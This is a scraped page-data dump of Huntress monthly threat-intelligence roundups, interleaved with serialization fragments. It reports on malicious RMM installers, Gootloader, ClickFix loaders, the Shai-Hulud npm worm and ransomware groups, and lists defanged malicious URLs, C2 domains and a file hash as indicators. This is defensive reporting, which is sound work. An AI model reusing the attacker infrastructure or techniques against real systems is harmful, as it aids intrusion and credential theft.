","Supply-Chain Compromise of axios npm Package",{"_1987":2067,"_47":2068,"_2004":6,"_2005":422},"

In March, a Huntress investigation revealed that threat actors were abusing Railway.com’s PaaS to run a large-scale Microsoft 365 device code phishing and token replay campaign, targeting 344 organizations across five countries. In the Rapid Response, authors Dave Kleinatland, Jamie Levy, Rich Mozeleski, and Erin Meyers analyzed the Railway/EvilTokens infrastructure, documented how the phishing and token theft work, and described how Huntress blocked Railway IP ranges for eligible tenants.

$\"\"$ Code phishing in action

Check out the full Rapid Response blog here, which includes detection queries, IoCs, and hardening guidance so teams can hunt for activity and tighten M365 controls.

","Threat Actors Abuse Railway.com PaaS as Microsoft 365 Token Attack Infrastructure","

At Huntress, we spin up “Rapid Responses” when there is a vulnerability or threat being used by attackers to escalate the deployment of malware at scale. When we hear about a potential vulnerability, the Adversary Tactics team works across Huntress to figure out the potential impact, update our customers, and provide documentation for the security community. Here are two incidents we handled in the last month:

","Rapid Responses",{"_1998":2072,"_21":2073,"_2011":422,"_2013":2080},"https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fad3d26af88544df49132b5a574213ac5",[2074,2077],{"_1987":2075,"_47":2076,"_2004":6,"_2005":422},"

During the March 2026 Tradecraft Tuesday, Huntress researchers Greg Linares, Casey Smith, and Truman Kain presented “2026 Cyber Threat Report: Year in Review,” unpacking the latest findings from the Huntress 2026 Cyber Threat Report. The webinar covered evolving ransomware tradecraft, ClickFix-style social engineering, and rising identity-based threats like AiTM phishing, BEC and device code abuse, before closing with practical detection and defense takeaways tailored to the environments Huntress protects.

$\"\"$ March Tradecraft Tuesday

You can check out the full webinar here - and here is the link to the Huntress 2026 Cyber Threat Report so you can follow along.

","Tradecraft Tuesday: Looking Back (And Forward) at Phishing Tactics",{"_1987":2078,"_47":2079,"_2004":6,"_2005":422},"

In the premiere episode of _declassified, we ripped the hoodie off the lone-wolf hacker myth and showed cybercrime for what it is: a global business. John Hammond and Jim Browning took viewers inside real scam call centers—with HR, training, IT, and QA—masquerading as tech support, banks, carriers, and utilities while raking in millions. Using live CCTV and call audio, they showed scammers working scripted funnels and KPIs, then dug into how generative AI was already supercharging scams. Read the recap here!

$\"\"$ John Hammond and Jim Browning talk about scam call centers

Looking ahead: On May 20, Huntress Principal Product Researcher Truman Kain and a special guest will break down how overlooked security obligations fuel cybercriminals and cost you later. Sign up here!

","The Newest _declassified Episode","Highlights","publishedDate","Tue Mar 31 2026 00:00:00 GMT-0400 (Eastern Daylight Time)","sidebarCta",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"buttonTarget","buttonText","buttonUrl","See Huntress In Action","

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

","march-2026","socialShare",{"_1724":32},"thumbnail","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2F19d9b4ce53fe4166a8f6b56303d0f27f",{"_1053":2096,"_19":2097,"_1056":2098},"a4e9e565d7514511b94b6c4e87a12f9d","Threat View from the Lens of Huntress Adversary Tactics: November 2025",{"_35":1716,"_1362":2099,"_1722":2104,"_1725":2105,"_1112":2189,"_1983":2191,"_1989":2192,"_1776":2193,"_19":2097,"_1993":2195,"_2081":2245,"_2083":2246,"_1764":2247,"_2091":2248,"_2093":2094},[2100,2101,2102],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2103},"November 2025",{"_1724":32},[2106,2123,2140,2157,2174],{"_1728":2107},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2108},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2109,"_1056":2110,"_1704":2119,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2120,"_1792":2121,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2111,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2118},[2112,2114,2116],{"_1749":2113},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2115},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2117},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":2122,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2124},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":2125},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":2126,"_1056":2127,"_1704":2136,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2137,"_1792":2138,"_1803":1842},[],{"_1776":2128,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":2129,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[2130,2132,2134],{"_1749":2131},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2133},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2135},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":2139,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2141},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":2142},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":2143,"_1704":2144,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2145,"_1792":2146,"_1783":1855,"_1056":2148,"_1803":1878},[],{},[],{"_1795":2147,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":2149,"_1764":1870,"_1760":1871,"_19":1848,"_1776":2156,"_1740":1875,"_1774":1876,"_1742":1877},[2150,2152,2154],{"_1749":2151},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2153},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2155},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":2158},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":2159},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":2160,"_1704":2161,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2162,"_1792":2163,"_1783":1890,"_1056":2165,"_1803":1911},[],{},[],{"_1795":2164,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":2166,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":2173,"_1742":1910},[2167,2169,2171],{"_1749":2168},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2170},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2172},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":2175},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":2176},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":2177,"_1056":2178,"_1704":2185,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":2186,"_1792":2187,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":2179,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":2180,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[2181,2183],{"_1749":2182},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2184},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":2188,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1067":2190,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":6},{"_1778":2194,"_134":2097},"Huntress Adversary Tactics examines November 2025 threats including Gootloader's resurgence, new ClickFix infostealer techniques, and a surge in malicious RMM tool deployments observed across the SOC.",{"_1995":2196},[2197,2209,2220,2225,2238],{"_1998":2198,"_21":2199,"_2011":2208,"_2013":2014},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F0579e7542a4a40a984b6b99dcc6f1850",[2200,2204],{"_1987":2201,"_47":2202,"_2004":32,"_2005":2203},"

In November, we saw threat actors exploiting a recently patched remote code execution vulnerability in Windows Server Update Services (WSUS). After exploiting CVE-2025-59287, threat actors then installed Velociraptor, a legitimate, open-source tool, used for command and control (C2) of the compromised endpoint. Props to Ben Folland with the SOC team for his investigation into the incident!

Velociraptor is a digital forensics and incident response (DFIR) tool that enables teams to quickly collect and analyze artifacts from across a network, giving them a better understanding of security incidents. Threat actors have been abusing Velociraptor to set up communications with C2 servers.

After the threat actor installed Velociraptor, we saw a number of Base64-encoded PowerShell commands, which were child processes of Velociraptor.exe. These commands launched a series of discovery queries, helping the threat actor gather information about users, running services, configurations, and more.

$\"\"$ EDR signals showing the threat actor installing an MSI package, running Velociraptor, and performing discovery commands

","A Velociraptor DFIR tool uptick","

This isn’t the first incident involving misuse of Velociraptor - in fact, we first tracked threat actors abusing the tool back to November 2024. However, in the past three months, there’s been a significant uptick of incidents involving the use of the Velociraptor for remote access into the compromised endpoint. Learn more in our blog post about the incident.

",{"_1987":2205,"_47":2206,"_2004":32,"_2005":2207},"

‘Tis the season for holiday phishing: threat actors are using Thanksgiving, Black Friday, and Christmas in their phishing attack lures this year.

On November 2, a user was tricked into executing a malicious process (Thanksgiving-iv.exe) from the directory C:\\Users\\REDACTED\\Downloads\\ on the impacted host. Further inspection revealed that this file is a rogue installer for GoTo Resolve RMM. The victim’s Firefox browser artifacts revealed that this installer was downloaded from the URL https[:]//pub-0e9274b4f4a74997bcafd5c5c778bf91[.]r2[.]dev/Thanksgiving-iv.exe. The malicious RMM then deployed a rogue ScreenConnect installer into the directory C:\\Program Files (x86)\\ScreenConnect Client (3bf4055180e70e5b), which was configured for the domain wilkensealsivc[.]shop.

During a retrospective threat hunt, our tactical response team found an incident on November 5 in which a user executed a malicious MSI file ([REDACTED]_Christmas_Punchbowl_invite.msi) from the directory C:\\Users\\REDACTED\\Downloads\\ on the impacted host. This resulted in the deployment of a ScreenConnect RMM, which was configured to the domain vhagov[.]org for command and control.

Special thanks to Austin Worline and Jai Minton for flagging the incidents using the Thanksgiving and Christmas lures!

","Happy holidays! Here’s a (malicious) RMM","

Threat actors are taking advantage of the holidays with seasonal lures. As always, be wary of urgent language, unanticipated requests, strange sender email addresses, and sketchy domains in emailed links.

","

",{"_1998":2016,"_21":2210,"_2011":2034,"_2013":2035},[2211,2214,2217],{"_1987":2212,"_47":2213,"_2004":6,"_2005":422},"

Anna Pham, with our Hunting and Response team, documented and wrote an analysis about Gootloader, a popular malware loader that threat actors use to gain initial access. After a period of reduced activity, Gootloader operations briefly resurged in March 2025 before going quiet again, only to return recently with renewed activity. Since October 27, Huntress has seen three Gootloader infections, including two that led to hands-on-keyboard intrusions with domain controller compromise within 17 hours of initial infection. Here are a few unique tradecraft insights we’ve seen with Gootloader’s return:

Gootloader is now leveraging custom WOFF2 fonts with glyph substitution to obfuscate filenames. This transforms gibberish characters in source code into legitimate-looking filenames when rendered in browsers.
Users were infected while searching for “missouri cover utility easement roadway” via Bing and visiting the first page that showed up in the results. Threat actors exploited WordPress comment endpoints to deliver XOR-encrypted ZIP payloads with unique keys per file.
The infection operates through a well-established criminal partnership: Storm-0494 handles Gootloader operations and initial access, then hands off compromised environments to Vanilla Tempest for post-exploitation and ransomware deployment.

","Gootloader’s back, back again",{"_1987":2215,"_47":2216,"_2004":6,"_2005":422},"

The SOC team’s Ben Folland and Anna Pham recently came out with an in-depth blog post on a ClickFix campaign with several unique TTPs, including:

Both a standard ClickFix “Robot Verification” lure and a newer (more convincing) “Windows Update” page, which continue to rely on the traditional ClickFix technique of convincing the victim to manually open the Windows Run box to paste a malicious command.
The attack then uses steganography to conceal the final malware stages within an image. This involves deployment of the .NET steganographic loader, which extracts Donut-packed shellcode hidden inside the pixel data of PNG images.
The attack then delivers infostealer malware, including LummaC2 and Rhadamanthys.

\n\n

$\"\"$ The “human verification” ClickFix lure

We’ve seen several ClickFix variants over the past year. Organizations should train end-users to spot these ClickFix-lure tactics. In Ben and Anna’s blog, they also offered various mitigation strategies for businesses, like disabling the Run prompt via Registry changes or Group Policy.

","New ClickFix techniques unearthed in infostealer attacks",{"_1987":2218,"_47":2219,"_2004":6,"_2005":422},"

Retrospective threat hunts by the Tactical Response team uncovered several interesting incidents involving malware loaders. Here are a few examples:

A threat actor tried to execute the OysterLoader malware by disguising it as a Microsoft Teams installer, but failed miserably. On November 11, an employee came across a malicious ad, which led them to download the binary (MSTeamsSetup.exe) from the URL hxxps://teams-support-software[.]icu/. OysterLoader, a malware loader first seen in 2023, has commonly been used in malvertising campaigns. Ultimately, the execution was unsuccessful.
In another incident on November 4, an end-user executed a malicious process (ProCircuit.exe) that used DLL (Dynamic Link Library) sideloading to load and inject infostealer malware into NexusH128.exe. DLL sideloading is a detection evasion technique where threat actors take advantage of the way that Windows searches for and loads DLL files in order to dupe a program into loading a malicious DLL file.

","Malware loader incidents",{"_1998":2037,"_21":2221,"_2011":2224,"_2013":2046},[2222],{"_1987":2223,"_47":272,"_2004":6,"_2005":422},"

SLSH, previously known as Shiny Hunters, Scattered Spider, and Lapsus$, continues to evolve its tactics into a more structured threat with the development of \"ShinySp1d3r\" ransomware, supporting Windows, Linux, and ESXi environments for kernel-level attacks, incorporating automated bots, crypto laundering via Telegram gifts, and psyops against researchers and victims.

Key differences include a shift from opportunistic leaks to double extortion (theft plus encryption) and broader scale via supply-chain breaches. Adaptations in SLSH operations reflect increasing sophistication, monetization via RaaS beta testing, and targeting expansions via third-party supply chain access. They’ve also started conducting insider threat poaching or grooming, offering money laundering through Telegram’s star service, and offering direct rewards starting at $30,000 USD for access to tokens and sessions from employees of targeted corporations. This activity directly led to a Crowdstrike employee being fired in mid-November after getting caught sharing corporate screenshots with the group. The group continues to show chaotic behavior, with threats against researchers, including offering bounties for false FBI reports targeting security researchers who investigate them. $1,000 bounties were amplified recently by also sharing recordings of voicemails of these reports to their followers in their Telegram channel, promoting crowd-based tactics to target investigators.

In November, the rest of the ransomware scene was extremely active, with groups like Qilin and Akira still dominating headlines by racking up the most victims. Attacks spiked 41% in October alone, reaching 594 public incidents. Supply-chain hacks continue to be a concern. This was highlighted by Qilin's \"Korean Leaks\" operation, where they breached a South Korean-managed service provider. In this incident, they encrypted files and stole data from 28 downstream companies. Akira continues to also be a threat, as noted in the updated FBI and CISA advisory detailing their TTPs.The advisory highlights tactics like VPN credential abuse in over half of their breaches. Akira to date is accredited with nearly $250 million in ransom payments. They’ve continued targeting the healthcare company Zoetis (exposing over 500,000 individuals’ personal info) and construction firm Fineline Architectural Millwork. In addition, the ransomware group Everest demanded $6 million from Spanish airline Iberia following a disruptive attack that leaked internal files. The infamous LockBit group appeared to continue development with the latest 5.0 revision targeting Windows, Linux, and virtual environments and hosts. New players like Tengu, Genesis, Radiant, Kryptos, and Sinobi are steadily gaining popularity with Sinobi alone, claiming 69 victims since July.

","

The Shai-Hulud NPM worm is a shifting supply chain attack that exploits developer credentials to compromise hundreds of packages in the Node Package Manager (NPM) registry, affecting major organizations like Postman and Zapier. Initially in September 2025, the first version operated during the post-install phase, harvesting credentials such as GitHub PATs, NPM tokens, and cloud API keys, then exfiltrating them to attacker-controlled endpoints or public repositories while propagating by injecting malware into other packages maintained by victims. However, in the last week of November, a new variant, Shai-Hulud 2, was released, and it has evolved to execute in the pre-install phase for broader impact. It currently incorporates obfuscated JavaScript disguised as Bun installers, cross-platform support including Windows, and enhanced persistence via GitHub Actions backdoors, specifically self-hosted runners and workflows that allow code execution.

Key differences include a shift from pure theft to destructive elements, like wiping home directories upon failure, and more sophisticated exfiltration using cross-victim repositories, which has amplified the campaign's scale to over 700 packages and 25,000 malicious repositories and counting.

New adaptations in the worm show increasing sophistication, including timing changes to evade detection, what appears to be AI-assisted obfuscation, multi-cloud SDK bundling for privilege escalation, and environment-aware execution in CI/CD pipelines. Indicators of Compromise (IoCs) encompass specific file hashes (e.g., SHA1 for bun_environment.js: d60ec97eea19fffb4809bc35b91033b52490ca11), artifacts like cloud.json and discussion.yaml, unexpected GitHub repos with \"Sha1-Hulud\" themes, and domains such as webhook.site. As of November 26, 2025, activity persists and we’re still seeing creation of new repositories, despite mitigations, that are transitioning to private repos advertising unrelated AI services, exposing valid secrets from hundreds of entities, and enabling potential follow-on threats like ransomware.

Cybersecurity teams should prioritize dependency auditing, credential rotation, development dependency cooldown integration, and tools like Semgrep for ongoing defense against this evolving open-source ecosystem risk.

",{"_1998":2048,"_21":2226,"_2011":2237,"_2013":2059},[2227,2229,2231,2233,2235],{"_1987":2228,"_47":48,"_2004":6,"_2005":422},"

Defender Exclusion Settings can now be tweaked to add additional endpoints and organizations: When creating exclusion settings for Microsoft Defender Antivirus in the Huntress Portal, you can now add individual endpoints and organizations to existing exclusion settings, instead of needing to create a brand new exclusion setting. This saves time and increases efficiency when a new endpoint or organization is onboarded.

",{"_1987":2230,"_47":1136,"_2004":6,"_2005":422},"

We've enhanced Huntress Managed ITDR by introducing a free agent for ITDR customers. Previously, the Identity Disablement functionality for Active Directory synced identities was unavailable without also having a Managed EDR license. Now, this lightweight, no-cost agent unlocks account disablement for AD-synced identities so you can quickly contain identity threats. Managed ITDR customers can download this free agent right from the Huntress Portal.

This month we announced the acquisition of Inside Agent, a London-based company committed to hardening Microsoft 365 environments against external and insider threats. This acquisition is core to the development of our new Identity Security Posture Management (ISPM) product, planned to launch in 2026. For current Huntress Managed ITDR users, ISPM will serve as a proactive layer to add to their detection and response. Put simply, ensuring fewer gaps means fewer opportunities for attackers. Learn more here!

",{"_1987":2232,"_47":69,"_2004":6,"_2005":422},"

Our Threat intelligence team and Detection Engineering team is always focused on closing the gaps attackers exploit. We've recently deployed two major new capabilities built from real-world threat hunting that deliver clarity and immediate value:

Attackers often hide successful credential theft by distributing failed login attempts across multiple users, hosts, or services. Traditional SIEMs are easily overwhelmed by this \"noisy\" data, generating thousands of alerts while missing the one successful intrusion. To combat this, we engineered new Brute Force Correlation Detections that track and connect activity across users, hosts, and various log sources. This powerful engine identifies the true intrusion path attackers use, allowing us to expose successful credential attacks the moment they occur. By eliminating the raw login noise and focusing on the attack chain, our SOC can ensure a swift response before damage is done.

Ingesting raw network flow data creates a massive data lake, often leading to slow searches and prohibitively high storage costs—a common SIEM pain point. Our engineers developed a proprietary method for Network Traffic Aggregation & Detection Rules that intelligently filters and condenses this telemetry right at the point of ingestion. We only store the handful of signals proven to be security-relevant, turning a \"firehose\" of thousands of raw logs into clear, real-time detections. This enables us to spot attacker movement, reconnaissance, and unusual traffic patterns faster, while simultaneously cutting down massive storage and ingestion costs for our partners.

",{"_1987":2234,"_47":1202,"_2004":6,"_2005":422},"

Huntress SAT now has two new options in the Standard Reports tab. One allows you to track the progress of learning by episode rather than assignment. The other gives insight into simulated phishing across all learners and campaigns. We are releasing these to all but are still looking for additional feedback.

We also have a new capability, General Manager View, that grants someone access to a real time report showing assignment and phishing data on all learners in an organization–without giving them access to any administrative tools. This is just like the real-time manager report, but it’s expanded to include all employees.

Finally, we have released the \"Huntress SAT Report a Phish\" button for Gmail! It is now live in the marketplace and available to anyone, we welcome your feedback!

",{"_1987":2236,"_47":1123,"_2005":422},"

Huntress products are now available on the Microsoft Marketplace. Whether users are looking to level up endpoint security, increase identity resilience, or just simplify how they manage security tools, adding Huntress to their Microsoft environment just got way easier. Learn more here!

APIs for Escalations and Incident Report responses are now available. Huntress has released several new APIs including the first set of write APIs! The first is an Escalation API that allows for listing Escalations and getting the details of a specific escalation, and an API endpoint to enable resolution of the most common escalations. There is also a new API endpoint for Incident Reports that allows for the approval or rejection of remediations, and resolving Incident Reports.

New languages are available for Threat Summary Reports. Huntress Platform Administrators can now set the default language for Threat Summary Reports. Reports can be configured to be in English (the default language), Dutch, French, and Spanish.

Portal-Wide Dark Mode is Here! All pages in the Portal now support the dark mode theme. Use the gear icon in the upper right corner of the Portal to switch to your preferred theme.

","

",{"_1998":2072,"_21":2239,"_2011":422,"_2013":2080},[2240,2242],{"_1987":2241,"_47":2076,"_2004":6,"_2005":422},"

In our recent Tradecraft Tuesday episode, Truman Kain, principal product researcher, and Lindsey O’Donnell-Welch, technical community engagement writer at Huntress, talked about the top shadiest phishing tradecraft techniques we’ve seen this year at Huntress.

$\"\"$

You can find the full episode here.

",{"_1987":2243,"_47":2244,"_2004":6,"_2005":422},"

Greg Linares talked about his background and gave advice for the next generation of hackers (including a shout-out to the Huntress CTF!) during a recent interview with TechInformed.

","Notable External Media","Sun Nov 30 2025 00:00:00 GMT-0500 (Eastern Standard Time)",{"_2085":422,"_2086":208,"_2087":219,"_47":2088,"_1724":32,"_41":2089},"november-2025",{"_1724":32},{"_1053":2250,"_19":2251,"_1056":2252},"3310d7bd7eb64f65b3ca8103bb2edc68","Threat View from the Lens of Huntress Adversary Tactics: October 2025",{"_35":1716,"_1362":2253,"_1722":2258,"_1725":2259,"_1112":2370,"_1983":2372,"_1989":2373,"_1776":2374,"_19":2251,"_1993":2376,"_2081":2431,"_2083":2432,"_1764":2433,"_2091":2434,"_2093":2094},[2254,2255,2256],{"_1367":631,"_1365":628},{"_1367":1678,"_1365":1370},{"_1365":2257},"October 2025",{"_1724":32},[2260,2277,2294,2311,2328,2343],{"_1728":2261},{"_1350":1730,"_1053":1731,"_1327":1732,"_1701":2262},{"_1734":1735,"_1053":1731,"_19":1736,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2263,"_1056":2264,"_1704":2273,"_1783":1784,"_1785":1735,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2274,"_1792":2275,"_1803":1804},[],{"_1740":1741,"_1742":1743,"_1744":1745,"_1746":2265,"_1758":1759,"_1760":1761,"_1762":1763,"_1764":1765,"_1766":1767,"_19":1736,"_1768":1769,"_1770":1771,"_1772":1773,"_1774":1775,"_1776":2272},[2266,2268,2270],{"_1749":2267},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2269},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2271},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1778":1779,"_134":1780,"_1781":6,"_171":6},{},[],{"_1794":1056,"_1795":2276,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2278},{"_1350":1730,"_1053":1807,"_1327":1732,"_1701":2279},{"_1734":1809,"_1053":1807,"_19":1810,"_1691":1737,"_1693":1693,"_1688":2280,"_1056":2281,"_1704":2290,"_1783":1838,"_1785":1809,"_1703":118,"_1786":1787,"_1788":1789,"_1790":2291,"_1792":2292,"_1803":1842},[],{"_1776":2282,"_1742":1816,"_19":1810,"_1817":1818,"_1758":1759,"_1746":2283,"_1762":1826,"_1770":1827,"_1764":1828,"_1766":1829,"_1740":1830,"_1831":1832,"_1772":1833,"_1760":1834,"_1768":1835,"_1774":1836},{"_171":6,"_134":1814,"_1778":1815,"_1781":6},[2284,2286,2288],{"_1749":2285},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2287},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2289},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1801":422,"_1795":2293,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2295},{"_1350":1730,"_1053":1845,"_1327":1732,"_1701":2296},{"_1734":1847,"_1053":1845,"_19":1848,"_1691":1737,"_1693":1693,"_1688":2297,"_1704":2298,"_1785":1847,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2299,"_1792":2300,"_1783":1855,"_1056":2302,"_1803":1878},[],{},[],{"_1795":2301,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1770":1858,"_1772":1859,"_1758":1759,"_1762":1860,"_1768":1861,"_1817":1862,"_1746":2303,"_1764":1870,"_1760":1871,"_19":1848,"_1776":2310,"_1740":1875,"_1774":1876,"_1742":1877},[2304,2306,2308],{"_1749":2305},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2307},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2309},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1873,"_1778":1874},{"_1728":2312},{"_1350":1730,"_1053":1881,"_1327":1732,"_1701":2313},{"_1734":1883,"_1053":1881,"_19":1884,"_1691":1737,"_1693":1693,"_1688":2314,"_1704":2315,"_1785":1883,"_1703":118,"_1786":1851,"_1788":1789,"_1790":2316,"_1792":2317,"_1783":1890,"_1056":2319,"_1803":1911},[],{},[],{"_1795":2318,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1766":1857,"_1772":1892,"_1770":1893,"_1762":1894,"_1746":2320,"_1817":1902,"_1764":1903,"_1760":1904,"_1774":1905,"_19":1884,"_1740":1906,"_1776":2327,"_1742":1910},[2321,2323,2325],{"_1749":2322},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2324},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1749":2326},{"_1350":1730,"_1053":1757,"_1327":1746},{"_1781":6,"_171":6,"_134":1908,"_1778":1909},{"_1728":2329},{"_1350":1730,"_1053":1946,"_1327":1732,"_1701":2330},{"_1734":1948,"_1053":1946,"_19":1949,"_1691":1737,"_1693":1693,"_1688":2331,"_1056":2332,"_1704":2339,"_1783":1970,"_1785":1971,"_1703":118,"_1786":1972,"_1788":1789,"_1790":2340,"_1792":2341,"_1803":1976},[],{"_1760":1952,"_1764":1953,"_1742":1954,"_1758":1759,"_1768":1955,"_1776":2333,"_1772":1958,"_35":1959,"_1740":1960,"_19":1949,"_1766":1961,"_1746":2334,"_1770":1967,"_1774":1968},{"_134":1949,"_1778":1957},[2335,2337],{"_1749":2336},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2338},{"_1350":1730,"_1053":1757,"_1327":1746},{},[],{"_1795":2342,"_1801":422,"_1794":1056,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},{"_1728":2344},{"_1350":1730,"_1053":2345,"_1327":1732,"_1701":2346},"662a8eb64d55ba142210c843",{"_1734":2347,"_1053":2345,"_19":2348,"_1691":1737,"_1693":1693,"_1702":6,"_1688":2349,"_1056":2350,"_1704":2364,"_1783":2365,"_1785":2347,"_1703":118,"_1786":1789,"_1788":1789,"_1790":2366,"_1792":2367,"_1803":2369},1742719348297,"Alden Schmidt",[],{"_19":2348,"_1742":2351,"_1746":2352,"_1776":2357,"_1758":1759,"_1766":2360,"_1772":2361,"_1764":2362,"_1768":2363},"Alden Schmidt profile picture",[2353,2355],{"_1749":2354},{"_1350":1730,"_1053":1751,"_1327":1746},{"_1749":2356},{"_1350":1730,"_1053":1754,"_1327":1746},{"_1781":6,"_134":2358,"_171":6,"_1778":2359},"Alden Schmidt | Huntress","Read blog posts from Alden Schmidt on the Huntress Blog.","Senior Detection Engineer","https://cdn.builder.io/api/v1/image/assets%2F3eb6f92aedf74f109c7b4b0897ec39a8%2Fb864e24300dc465ba8ec3b06d5ee8718","alden-schmidt","https://www.linkedin.com/in/aldenschmidt/",{},1776025776080,[],{"_1795":2368,"_1794":1056,"_1801":422,"_1802":6},{"_1797":1798,"_855":1799,"_567":1800},"f0vqc3054wa",{"_1067":2371,"_37":1980,"_1430":1981,"_134":1982},{"_136":1079,"_137":49,"_41":1979},{},{"_1987":422,"_1724":6},{"_1778":2375,"_134":2251},"Huntress SOC analysts uncover Qilin ransomware tactics, Chrome Remote Desktop abuse, and active exploitation of critical CVEs including SonicWall SSLVPN and Windows WSUS vulnerabilities.",{"_1995":2377},[2378,2393,2401,2404,2413,2424],{"_1998":2379,"_21":2380,"_2011":2208,"_2013":2014},"https://cdn.builder.io/api/v1/image/assets%2F56539a05dc944fe088e47bb383845dd1%2F1c61e2eba89f4ed284e7a2e4c8b2df6a",[2381,2385,2389],{"_1987":2382,"_47":2383,"_2004":32,"_2005":2384},"

Threat actors have consistently used remote monitoring and management tools (RMMs) in their attack chains this year. But an interesting twist has recently emerged: threat actors use PDQ or GoTo Resolve initially and then deploy secondary RMM tools, like ScreenConnect or SimpleHelp. Deploying multiple RMM tools helps threat actors maintain longer term access, especially if the first tool is blocked. Below are a few examples we’ve seen recently:

On October 7, an employee at a real estate company received a phishing email through Outlook, which led to them install Open Revised Contract (2).exe. This executable file was actually a renamed GoTo Resolve instance signed by GoTo Technologies USA, LLC – which was then used to install the ScreenConnect RMM
In October, an employee at a car dealership executed the OPENINVITATION.exe file, a rogue GoTo Resolve RMM installer. The threat actor then used their access via GoTo Resolve to install a rogue SimpleHelp RMM (SimpleService.exe) on the host. But it didn’t stop there: they then installed a malicious ScreenConnect instance, configured with the domain support[.]innerschapel[.]com

$\"\"$ Incident involving GoTo Resolve, SimpleHelp, and ScreenConnect RMMs

","Layering malicious RMMs for better persistence","

